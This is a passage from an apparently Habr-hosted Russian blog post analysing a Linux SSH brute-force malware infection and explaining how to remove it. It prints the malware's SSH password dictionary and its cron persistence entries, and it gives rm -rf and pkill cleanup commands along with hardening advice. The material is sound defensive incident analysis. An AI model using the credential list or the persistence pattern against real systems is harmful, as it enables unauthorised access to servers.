Так же есть упоминание ip адресов 45.9.148.129
и 45.9.148.125
, находящихся в Нидерландах.
Словарь для подбора паролей — небольшой, хранится в отдельном файле.
jabez jabez
admin smiles
root campbell
jawad jawad
test $$$$$$$$
root wangjianjun
sdtdserver sdtdserver
idea idea
foundry 123456
citlalli citlalli
root sensor123
info info333
kaasen kaasen
root Million2017
jakayla jakayla
edineide edineide
wikre wikre
guest edges
games nobody123
vcsa hhhhhhh
root sq
root root@1234567890
ftpuser password!
web nobody0000
root jyy
mysql chelu
charming 123456
web web1111
pscsec pscsec
root michell
louhellen louhellen
xgridagent xgridagent
alligator alligator
root subrosa
denny password
ftp 1220
rival rival
root 9i8u7y
root general1
smenes smenes
root password@1234567890
support testing
root 123asdfghjkl
smmsp 12330
root fladvert
picher picher
backup farrell
hung root2root
guest shinobu
sacre sacre123
По скриптам видно, что сам дистрибутив малвари лежит в архиве dota3.tar.gz
, однако мне не удалось понять какимо образом он попадает в систему. Явной директивы скачивания файла нет. Вероятно, он подкладывается через бэкдор. Если у Вас есть идеи на этот счет, пишите в комменты.
Ланчер
В момент запуска, малварь прописывает себя в подсистему cron для текущего пользователя. В папке /var/spool/cron/crontabs/<username>
можно найти файл следующего содержания
0 0 */3 * * /dev/shm/.lwp/.rsync/a/upd>/dev/null 2>&1
5 8 * * 0 /dev/shm/.lwp/.rsync/b/sync>/dev/null 2>&1
@reboot /dev/shm/.lwp/.rsync/b/sync>/dev/null 2>&1
0 0 */3 * * /dev/shm/.lwp/.rsync/c/aptitude>/dev/null 2>&1
в нем автоматически перезапускаются все процессы, относящиеся к зловреду.
Пора покончить с этим безобразием!
Мы получили представление о том, как ведет себя зловред. Теперь можно выстроить стратегию для очистки системы от него.
Убираем cron задачи пользователя
rm -rf /var/spool/cron/crontabs/<username>
Убиваем процессы юзера
pkill -u <username>
Убираем сохраненный ssh ключ
rm /home/<username>/.ssh/authorized_keys
Удаляем сам зловред
rm -rf /dev/shm/.lwp
Я так же рекомендую повторить команды выше дважды и полностью удалить юзера вместе с домашней папкой. При необходимости, его можно пересоздать заново.
Что делать с заблокированным IP адресом?
Я позвонил провайдеру и сообщил о проблеме, меня внимательно выслушали и порекомендовали написать об инциденте в саппорт, приложив все доступные материалы. Никаких рекомендаций по разблокировке IP мне получить не удалось. Мне порекомендовали поменять его на новый через ЛК, а старый адрес вернулся в пул доступных для других пользователей. Может быть кто-то с хабра подскажет как снять с адреса черную метку?
Какая система уязвима для подобной атаки
В сущности, любая Linux система, у которой открыт доступ к ssh и есть много пользователей. В особенности, это касается различных хостеров и облачных сервисов. Известен случай Массового заражения сервисов Azure в мае 2019
Как защититься от подобных атак?
- Используйте безопасные пароли для всех системных пользователей
- Установите политику паролей для пользователей системы
- Установите
fail2ban
и rate limit на ssh черезufw
или любой другой файрволл - Ограничте доступ к ssh порту списком доверенных IP адресов
- Отключите возможность логина в shell всем пользователям, которые туда ходить не должны
Аналитика и случаи заражения похожими штаммами
- Массовое заражение сервисов Azure в мае 2019
- Детальный анализ на TrendMicro
- Заражение через системного пользователя Kodi
- Анализ на Joesandbox
- Анализ на VirusTotal
- Описание похожего червя под названием Graboid
Автор: romansavrulin